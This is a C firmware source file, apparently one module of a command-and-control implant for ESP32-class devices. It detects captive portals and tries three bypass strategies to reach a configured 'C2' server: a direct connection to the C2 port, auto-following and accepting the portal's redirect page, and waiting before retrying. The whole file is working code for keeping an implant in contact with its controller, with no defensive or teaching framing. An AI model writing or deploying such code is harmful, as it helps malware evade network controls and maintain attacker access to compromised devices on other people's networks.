/* * fb_captive.c * Captive portal detection and bypass strategies. * * Detection: HTTP GET to connectivitycheck.gstatic.com/generate_204 * - 204 = no portal (internet open) * - 200/302 = captive portal detected * * Bypass strategies (in order): * 1. Direct C2 port — often not intercepted by portals * 2. POST accept — parse 302 redirect, GET portal accept page * 3. Wait + retry — some portals open after DNS traffic */ #include "sdkconfig.h" #include "fb_captive.h" #ifdef CONFIG_MODULE_FALLBACK #include #include #include #include "esp_log.h" #include "lwip/sockets.h" #include "lwip/netdb.h" #include "freertos/FreeRTOS.h" #include "freertos/task.h" #include "utils.h" static const char *TAG = "FB_CAPTIVE"; #define CAPTIVE_TIMEOUT_S 5 #define CAPTIVE_RX_BUF 512 /* ============================================================ * Raw HTTP request to check connectivity * ============================================================ */ static bool resolve_host(const char *host, struct in_addr *out) { struct addrinfo hints = {0}; hints.ai_family = AF_INET; hints.ai_socktype = SOCK_STREAM; struct addrinfo *res = NULL; int err = lwip_getaddrinfo(host, NULL, &hints, &res); if (err != 0 || !res) { ESP_LOGW(TAG, "DNS resolve failed for '%s'", host); return false; } struct sockaddr_in *addr = (struct sockaddr_in *)res->ai_addr; *out = addr->sin_addr; lwip_freeaddrinfo(res); return true; } static int http_get_status(const char *host, int port, const char *path, char *location_out, size_t location_cap) { struct in_addr ip; if (!resolve_host(host, &ip)) return 0; int s = lwip_socket(AF_INET, SOCK_STREAM, 0); if (s < 0) return 0; struct timeval tv = { .tv_sec = CAPTIVE_TIMEOUT_S, .tv_usec = 0 }; lwip_setsockopt(s, SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(tv)); lwip_setsockopt(s, SOL_SOCKET, SO_SNDTIMEO, &tv, sizeof(tv)); struct sockaddr_in addr = {0}; addr.sin_family = AF_INET; addr.sin_port = htons(port); addr.sin_addr = ip; if (lwip_connect(s, (struct sockaddr *)&addr, sizeof(addr)) != 0) { lwip_close(s); return 0; } char req[256]; int req_len = snprintf(req, sizeof(req), "GET %s HTTP/1.0\r\n" "Host: %s\r\n" "Connection: close\r\n" "User-Agent: Mozilla/5.0\r\n" "\r\n", path, host); if (lwip_write(s, req, req_len) <= 0) { lwip_close(s); return 0; } char buf[CAPTIVE_RX_BUF]; int total = 0; int len; while (total < (int)sizeof(buf) - 1) { len = lwip_recv(s, buf + total, sizeof(buf) - 1 - total, 0); if (len <= 0) break; total += len; buf[total] = '\0'; if (strstr(buf, "\r\n\r\n")) break; } lwip_close(s); if (total == 0) return 0; buf[total] = '\0'; int status = 0; char *sp = strchr(buf, ' '); if (sp) { status = atoi(sp + 1); } if (location_out && location_cap > 0) { location_out[0] = '\0'; char *loc = strstr(buf, "Location: "); if (!loc) loc = strstr(buf, "location: "); if (loc) { loc += 10; char *end = strstr(loc, "\r\n"); if (end) { size_t copy_len = end - loc; if (copy_len >= location_cap) copy_len = location_cap - 1; memcpy(location_out, loc, copy_len); location_out[copy_len] = '\0'; } } } return status; } /* ============================================================ * Captive portal detection * ============================================================ */ fb_portal_status_t fb_captive_detect(void) { ESP_LOGI(TAG, "Checking for captive portal..."); int status = http_get_status( "connectivitycheck.gstatic.com", 80, "/generate_204", NULL, 0); if (status == 204) { ESP_LOGI(TAG, "No captive portal (got 204)"); return FB_PORTAL_NONE; } if (status == 200 || status == 302 || status == 301) { ESP_LOGW(TAG, "Captive portal detected (HTTP %d)", status); return FB_PORTAL_DETECTED; } if (status == 0) { status = http_get_status( "captive.apple.com", 80, "/hotspot-detect.html", NULL, 0); if (status == 200) { ESP_LOGW(TAG, "Apple check returned 200 — may be portal"); return FB_PORTAL_DETECTED; } ESP_LOGW(TAG, "Connectivity check failed (no response)"); return FB_PORTAL_UNKNOWN; } ESP_LOGW(TAG, "Unexpected status %d — assuming portal", status); return FB_PORTAL_DETECTED; } /* ============================================================ * Captive portal bypass * ============================================================ */ bool fb_captive_bypass(void) { ESP_LOGI(TAG, "Attempting captive portal bypass..."); /* Strategy 1: Direct C2 port */ { int s = lwip_socket(AF_INET, SOCK_STREAM, 0); if (s >= 0) { struct timeval tv = { .tv_sec = CAPTIVE_TIMEOUT_S, .tv_usec = 0 }; lwip_setsockopt(s, SOL_SOCKET, SO_SNDTIMEO, &tv, sizeof(tv)); struct sockaddr_in addr = {0}; addr.sin_family = AF_INET; addr.sin_port = htons(CONFIG_SERVER_PORT); addr.sin_addr.s_addr = inet_addr(CONFIG_SERVER_IP); if (lwip_connect(s, (struct sockaddr *)&addr, sizeof(addr)) == 0) { lwip_close(s); ESP_LOGI(TAG, "Bypass: direct C2 port %d reachable!", CONFIG_SERVER_PORT); return true; } lwip_close(s); } ESP_LOGW(TAG, "Bypass strategy 1 (direct C2 port) failed"); } /* Strategy 2: Follow redirect + GET accept page */ { char location[256] = {0}; int status = http_get_status( "connectivitycheck.gstatic.com", 80, "/generate_204", location, sizeof(location)); if ((status == 302 || status == 301) && location[0]) { ESP_LOGI(TAG, "Portal redirect to: %s", location); char *host_start = strstr(location, "://"); if (host_start) { host_start += 3; char *path_start = strchr(host_start, '/'); char host_buf[64] = {0}; if (path_start) { size_t hlen = path_start - host_start; if (hlen >= sizeof(host_buf)) hlen = sizeof(host_buf) - 1; memcpy(host_buf, host_start, hlen); } else { strncpy(host_buf, host_start, sizeof(host_buf) - 1); path_start = "/"; } int p_status = http_get_status(host_buf, 80, path_start, NULL, 0); ESP_LOGI(TAG, "Portal page status: %d", p_status); vTaskDelay(pdMS_TO_TICKS(2000)); int check = http_get_status( "connectivitycheck.gstatic.com", 80, "/generate_204", NULL, 0); if (check == 204) { ESP_LOGI(TAG, "Bypass: portal auto-accepted!"); return true; } } } ESP_LOGW(TAG, "Bypass strategy 2 (POST accept) failed"); } /* Strategy 3: Wait + retry */ { ESP_LOGI(TAG, "Bypass strategy 3: waiting 10s..."); vTaskDelay(pdMS_TO_TICKS(10000)); int status = http_get_status( "connectivitycheck.gstatic.com", 80, "/generate_204", NULL, 0); if (status == 204) { ESP_LOGI(TAG, "Bypass: portal opened after wait!"); return true; } ESP_LOGW(TAG, "Bypass strategy 3 (wait) failed"); } ESP_LOGW(TAG, "All captive portal bypass strategies failed"); return false; } #else /* !CONFIG_MODULE_FALLBACK */ fb_portal_status_t fb_captive_detect(void) { return FB_PORTAL_UNKNOWN; } bool fb_captive_bypass(void) { return false; } #endif /* CONFIG_MODULE_FALLBACK */